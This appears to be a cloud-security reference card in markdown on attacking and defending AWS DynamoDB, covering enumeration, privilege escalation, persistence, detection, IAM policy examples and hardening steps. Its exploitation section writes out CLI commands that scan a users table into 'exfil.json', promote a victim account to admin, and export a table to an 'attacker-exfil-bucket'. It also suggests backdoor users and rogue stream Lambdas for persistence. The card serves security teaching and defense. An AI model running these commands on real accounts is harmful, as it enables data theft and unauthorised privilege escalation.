Skip to content

dynamodb.md

Latest commit

 

History

History
339 lines (250 loc) · 8.76 KB

dynamodb.md

File metadata and controls

339 lines (250 loc) · 8.76 KB

AWS DynamoDB Security AWS DynamoDB Security

AWS DynamoDB Security

Category: DATABASE

DynamoDB is a NoSQL database storing application data, session tokens, and configuration. Attackers exploit table policies, scan operations, and PartiQL queries to extract sensitive data.

Quick Stats

Data Exposure Risk Attack Techniques SQL-like Queries Potential Data Theft
HIGH 15+ PartiQL TB+

Service Overview

Data Model & Access

DynamoDB is a key-value and document NoSQL database. Tables store items indexed by partition keys and optional sort keys. Global Secondary Indexes (GSIs) provide alternate query paths that may expose data through different access patterns.

Attack note: GSIs replicate table data with different key schemas - querying a GSI may bypass item-level access controls

PartiQL & Streams

PartiQL provides SQL-compatible query access to DynamoDB. DynamoDB Streams capture item-level changes in near-real-time, feeding Lambda triggers and replication pipelines. Both are powerful attack surfaces for data exfiltration.

Attack note: PartiQL SELECT * FROM table bypasses the need for Scan API calls and may evade scan-specific IAM denies

Security Risk Assessment

████████░░ 8.0/10 (CRITICAL)

DynamoDB tables frequently contain sensitive application data. Attackers with read access can extract PII, session tokens, and credentials. Write access enables privilege escalation via modified user records.

⚔️ Attack Vectors

Data Access

  • Overly permissive IAM policies
  • Resource-based table policies
  • GSI/LSI alternate query paths
  • Streams exposing change data
  • PartiQL bypassing Scan denies

Data Manipulation

  • Session token modification (PutItem)
  • User role escalation via item updates
  • Feature flag tampering
  • Backup export to attacker-controlled S3
  • Table deletion for disruption

⚠️ Misconfigurations

Policy Issues

  • dynamodb:* permissions on tables
  • Missing fine-grained access control (leading keys)
  • No condition keys for item-level access
  • PartiQL execution without restrictions
  • Resource policy allowing cross-account access

Infrastructure Issues

  • Missing encryption at rest (default AWS key)
  • Point-in-time recovery disabled
  • No VPC endpoint (traffic over public internet)
  • Streams readable by unintended consumers
  • Global tables replicating to insecure regions

🔍 Enumeration

List All Tables

aws dynamodb list-tables

Describe Table

aws dynamodb describe-table --table-name users

List Global Tables

aws dynamodb list-global-tables

List Backups

aws dynamodb list-backups

List Streams

aws dynamodbstreams list-streams

📈 Privilege Escalation

Direct Escalation

  • Modify user role field to admin
  • Update session tokens for privilege
  • Alter feature flags for access
  • Change API key permissions in table
  • Insert admin user record

GSI Bypass Attacks

  • Query GSI to enumerate all users by email
  • GSI on role field reveals all admin accounts
  • GSI access may bypass partition key restrictions
  • Sparse GSI reveals items with specific attributes
  • LSI provides alternate sort key enumeration

Key insight: If IAM restricts access by leading key on the base table, the same data may be queryable through a GSI with different key schema.

🔗 Persistence

Data Persistence

  • Insert backdoor user into auth table
  • Add persistent API key record
  • Create scheduled export to attacker S3
  • Enable streams and attach rogue Lambda
  • Add trigger for data replication

Stream-Based Persistence

  • Attach Lambda trigger to stream
  • Lambda exfiltrates every new/modified item
  • Cross-region replication to attacker table
  • Kinesis Data Firehose to attacker S3
  • Survives credential rotation if Lambda persists

🛡️ Detection

CloudTrail Events

  • Scan - bulk data read
  • ExportTableToPointInTime
  • DeleteTable / DeleteBackup
  • UpdateTable (security changes)
  • CreateTableReplica

Indicators of Compromise

  • Scan operations from unusual IAM principals
  • PartiQL ExecuteStatement with SELECT *
  • New stream consumers or Lambda triggers
  • Export operations to unknown S3 buckets
  • High read capacity consumption spikes

Exploitation Commands

Full Table Scan (Data Theft)

aws dynamodb scan --table-name users --output json > exfil.json

PartiQL - Extract Admin Users

aws dynamodb execute-statement \\
  --statement "SELECT * FROM users WHERE role='admin'"

Query GSI for Alternate Access

aws dynamodb query --table-name users \\
  --index-name email-index \\
  --key-condition-expression 'email = :e' \\
  --expression-attribute-values '{":e":{"S":"admin@corp.com"}}'

Modify User Role (Privesc)

aws dynamodb update-item --table-name users \\
  --key '{"user_id":{"S":"victim"}}' \\
  --update-expression 'SET #r = :admin' \\
  --expression-attribute-names '{"#r":"role"}' \\
  --expression-attribute-values '{":admin":{"S":"admin"}}'

Export Table to Attacker S3

aws dynamodb export-table-to-point-in-time \\
  --table-arn arn:aws:dynamodb:us-east-1:123456789012:table/users \\
  --s3-bucket attacker-exfil-bucket

Read Stream Records

SHARD=$(aws dynamodbstreams describe-stream \\
  --stream-arn <stream-arn> \\
  --query 'StreamDescription.Shards[0].ShardId' --output text)
ITER=$(aws dynamodbstreams get-shard-iterator \\
  --stream-arn <stream-arn> --shard-id $SHARD \\
  --shard-iterator-type TRIM_HORIZON --query 'ShardIterator' --output text)
aws dynamodbstreams get-records --shard-iterator $ITER

Policy Examples

❌ Dangerous - Full Access

{
  "Effect": "Allow",
  "Action": "dynamodb:*",
  "Resource": "*"
}

Full DynamoDB access enables complete data exfiltration, table deletion, and stream hijacking

✅ Secure - Least Privilege with Leading Keys

{
  "Effect": "Allow",
  "Action": ["dynamodb:GetItem", "dynamodb:Query"],
  "Resource": "arn:aws:dynamodb:*:*:table/app-data",
  "Condition": {
    "ForAllValues:StringEquals": {
      "dynamodb:LeadingKeys": ["\${aws:userId}"]
    }
  }
}

Limited to specific table with partition key scoped to the caller's identity

❌ Dangerous - PartiQL Without Restrictions

{
  "Effect": "Allow",
  "Action": [
    "dynamodb:PartiQLSelect",
    "dynamodb:PartiQLUpdate",
    "dynamodb:PartiQLInsert"
  ],
  "Resource": "*"
}

PartiQL access to all tables - SELECT * FROM any_table bypasses scan restrictions

✅ Secure - Deny Scan and Export

{
  "Effect": "Deny",
  "Action": [
    "dynamodb:Scan",
    "dynamodb:ExportTableToPointInTime",
    "dynamodb:PartiQLSelect"
  ],
  "Resource": "*",
  "Condition": {
    "StringNotEquals": {
      "aws:PrincipalTag/team": "data-engineering"
    }
  }
}

Explicit deny on bulk read operations except for authorized data team

Defense Recommendations

📋 Enable CloudTrail Data Events

Log all DynamoDB data plane operations (Scan, Query, GetItem) to detect unauthorized access.

aws cloudtrail put-event-selectors \\
  --trail-name main-trail \\
  --advanced-event-selectors '[{"FieldSelectors":[
    {"Field":"eventCategory","Equals":["Data"]},
    {"Field":"resources.type","Equals":["AWS::DynamoDB::Table"]}
  ]}]'

🔐 Encrypt with KMS CMK

Use customer-managed KMS keys to control who can decrypt table data at rest.

aws dynamodb create-table --table-name secure-data \\
  --sse-specification Enabled=true,SSEType=KMS,KMSMasterKeyId=alias/dynamo-key

🌐 VPC Endpoints

Keep DynamoDB traffic private via gateway endpoint - prevents data exfil over public internet.

aws ec2 create-vpc-endpoint \\
  --vpc-id vpc-xxx --service-name com.amazonaws.us-east-1.dynamodb \\
  --route-table-ids rtb-xxx

🔒 Fine-Grained Access Control

Use IAM condition keys to restrict access to specific partition keys per user.

"Condition": {"ForAllValues:StringEquals": {
  "dynamodb:LeadingKeys": ["\${aws:userId}"]
}}

🚫 Deny Scan and PartiQL Select

Explicitly deny Scan and PartiQL SELECT to prevent bulk data exfiltration.

"Effect": "Deny",
"Action": ["dynamodb:Scan", "dynamodb:PartiQLSelect"],
"Resource": "arn:aws:dynamodb:*:*:table/sensitive-*"

💾 Enable PITR and Deletion Protection

Point-in-time recovery protects against data loss. Deletion protection prevents table drops.

aws dynamodb update-table --table-name users \\
  --deletion-protection-enabled
aws dynamodb update-continuous-backups --table-name users \\
  --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

AWS DynamoDB Security Card

Always obtain proper authorization before testing